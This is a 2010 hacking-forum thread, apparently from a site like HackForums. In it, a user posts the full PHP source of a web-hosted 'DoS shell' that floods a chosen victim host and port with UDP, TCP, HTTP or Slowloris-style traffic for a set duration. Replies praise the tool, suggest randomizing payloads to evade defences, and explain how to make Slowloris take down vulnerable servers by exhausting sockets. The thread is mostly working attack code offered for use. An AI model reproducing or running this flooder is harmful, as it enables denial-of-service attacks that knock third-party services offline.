Drk's MultiShell(UDP/TCP/HTTP/Slowloris) (MultiSocket) - drkshotz - Dec 11, 2010
Drk's MultiShell
[img]http://img528.imageshack.us/img528/8172/capturehrk.png[/img]
Hello everyone and welcome to my thread. I said this was my project today and I accomplished it.
Code <title> DrkShotz MultiShell </title>
<html>
<body>
<center>
<font color="#FEFDFF">
<STYLE>
input{
background-color: #FEFDFF; font-size: 9pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #FEFDFF; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>
<?php
/**
* @author DrkShotz
* @copyright 2010
*/
if (isset($_GET['host']) && isset($_GET['time']))
{
ignore_user_abort(true);
set_time_limit(0);
$exec_time = $_GET['time'];
$ip = $_GET['host'];
$tmm = $_GET['time'];
$dostype = $_GET['type'];
$packets = 0;
$port = $_GET['port'];
$socket = $_GET['sockets'];
$time = time();
$max_time = $time + $exec_time;
if ($dostype == '1')
{
$floodtype = 'UDP';
$out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
'3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
'Z');
$length = count($out) - 1;
for ($i = 0; $i < 65000; $i++)
{
$out .= $out[rand(0, $length)];
}
while (1)
{
if (time() > $max_time)
{
break;
}
;
for ($i = 0; $i < $socket; $i++)
{
if (time() > $max_time)
{
break;
}
;
$fp = fsockopen('udp://' . $ip, $port, $errno, $errstr, 150);
if ($fp)
{
fwrite($fp, $out);
fclose($fp);
$packets++;
}
}
}
}
;
if ($dostype == '2')
{
$floodtype = 'TCP';
$out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
'3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
'Z');
$length = count($out) - 1;
for ($i = 0; $i < 65000; $i++)
{
$out .= $out[rand(0, $length)];
}
while (1)
{
if (time() > $max_time)
{
break;
}
;
for ($i = 0; $i < $socket; $i++)
{
if (time() > $max_time)
{
break;
}
;
$fp = fsockopen('tcp://' . $ip, $port, $errno, $errstr, 150);
if ($fp)
{
fwrite($fp, $out);
fclose($fp);
$packets++;
}
}
}
}
;
if ($dostype == '3')
{
$floodtype = 'HTTP';
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: " . $ip . "\r\n";
$out .= "Accept: */*\r\n";
{
while (1)
{
if (time() > $max_time)
{
break;
}
;
for ($i = 0; $i < $socket; $i++)
{
if (time() > $max_time)
{
break;
}
;
$fp = fsockopen($ip, 80, $errno, $errstr, 150);
if ($fp)
{
fwrite($fp, $out);
fclose($fp);
$packets++;
}
}
}
}
}
;
if ($dostype == '4')
{
$floodtype = 'Slowloris';
$out = "POST / HTTP/1.1\r\n";
$out .= "Host: " . $ip . "\r\n";
$out .= "Content-Length: 1\r\n\r\n";
$out .= "X";
while (1)
{
if (time() > $max_time)
{
break;
}
;
for ($i = 0; $i < $socket; $i++)
{
if (time() > $max_time)
{
break;
}
;
$fp = fsockopen($ip, 80, $errno, $errstr, 150);
if ($fp)
{
fwrite($fp, $out);
fclose($fp);
$packets++;
}
}
}
}
;
echo 'DrkShotz MultiShell';
echo '<form action=? method=GET>
<input type="hidden" name="dos" value="true">
Victim: <br><input type=text name=host value=><br>
Port: <br><input type=text name=port value=><br>
Length (seconds): <br><input type=text name=time value=><br>
Sockets: <br><input type=text name=sockets value=><br>
Type of flood:<br>
<select name="type">
<option value="1" selected>UDP</option>
<option value="2">TCP</option>
<option value="3">HTTP</option>
<option value="4">Slowloris</option>
</select>
<br><br>
<input type=submit value=Go></form>';
echo '<b>' . $floodtype . ' Flood Stats Report For Address: ' . $ip . '</b><br>';
echo 'Your IP: ' . getenv("REMOTE_ADDR") . '<br>';
echo 'Packets Sent : ' . $packets . '<br>';
echo 'Average Packets/S: ' . round($packets / $tmm, 2) . '<br>';
echo 'Time of DoS: ' . $tmm . '<br>';
} else
{
echo 'DrkShotz MultiShell';
echo '<form action=? method=GET>
<input type="hidden" name="dos" value="true">
Victim: <br><input type=text name=host value=><br>
Port: <br><input type=text name=port value=><br>
Length (seconds): <br><input type=text name=time value=><br>
Sockets: <br><input type=text name=sockets value=><br>
Type of flood:<br>
<select name="type">
<option value="1" selected>UDP</option>
<option value="2">TCP</option>
<option value="3">HTTP</option>
<option value="4">Slowloris</option>
</select>
<br><br>
<input type=submit value=Go></form>';
}
;
?>
</center>
</body>
</html>
* - Uncomplicated - Dec 11, 2010
Nice GUI dude. I already have the skeleton script of your release I guess.
* - drkshotz - Dec 11, 2010
(Dec 11, 2010 05:30 PM)uncomplicated Wrote: Nice GUI dude. I already have the skeleton script of your release I guess.
thanks for the comment. and the skeleton script??
* - K1N6Z - Dec 11, 2010
Nice. Will PM you if I could get a copy in a bit.
* - justdiespawn - Dec 11, 2010
GUI looks pretty nice, looks like a good shell.
* - tsiba - Dec 11, 2010
Umm i got a +3 rep but i didn't reach 100 posts may i have it or i should get more posts ? :S
* - drkshotz - Dec 11, 2010
(Dec 11, 2010 05:35 PM)tsiba Wrote: Umm i got a +3 rep but i didn't reach 100 posts may i have it or i should get more posts ? :S
ill give it to u just pm me :)
I just posted the source. just say thanks people :)
* - Uncomplicated - Dec 11, 2010
Just a theory:
I think webs-ervers must have developed immunity to
PHP Code
<?php for ($i = 0; $i < 65000; $i++) { $out .= 'X'; }
So we should do something like
PHP Code
<?php $twister=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'); $length=count($twister)-1; for($i=0;$i<65000;$i++) { $out .= $twister[rand(0,$length)]; }
BTW, nice release mate :
* - K1N6Z - Dec 11, 2010
Thanks, will take a look at it when im in my free time.
* - Eight - Dec 11, 2010
Thanks for the share. I have one question though, why do you guys do :
PHP Code
<?php while(1) { if(time() > $max_time) break; }
Instead of :
PHP Code
<?php while(time() < $max_time) {
}
? Is there a difference in execution time or something ?
* - Uncomplicated - Dec 11, 2010
Maybe because they all rip off the same code released by someone old like ORGY ? 😏
* - Orgy - Dec 11, 2010
Honestly, all of your code sucks.
UDP is just the same as all the other UDP, so I can't say too much.
Your TCP flood fails, because it tries to access all ports. The TCP handshake will only be completed if the port is accepting connections.
Your HTTP flood will only flood the index, which is usually not a very large page.
Your slowloris will fail because it will only use up one socket at a time. Meaning it wont do shit.
* - drkshotz - Dec 11, 2010
(Dec 11, 2010 05:57 PM)Eight Wrote: Thanks for the share. I have one question though, why do you guys do :
PHP Code
<?php while(1) { if(time() > $max_time) break; }
Instead of :
PHP Code
<?php while(time() < $max_time) {
}
? Is there a difference in execution time or something ?
servers have some kind of set time for example some of them have 15 secs to dos all together. In other words the dos shell will not dos above 15 secs and if you try to exceed that then it will give an error like max time limit is 15 or something
* - Uncomplicated - Dec 11, 2010
Quote:Your slowloris will fail because it will only use up one socket at a time. Meaning it wont do shit.
Agreed. Slowloris can not be detected in most general cases but will do no harm to a good server.
* - Orgy - Dec 11, 2010
(Dec 11, 2010 06:07 PM)uncomplicated Wrote: Agreed. Slowloris can not be detected in most general cases but will do no harm to a good server.
No, if done correctly, it will cleanly bring down a vulnerable server. But to do that, you have to take up all available sockets. One socket will not be NEAR enough.
|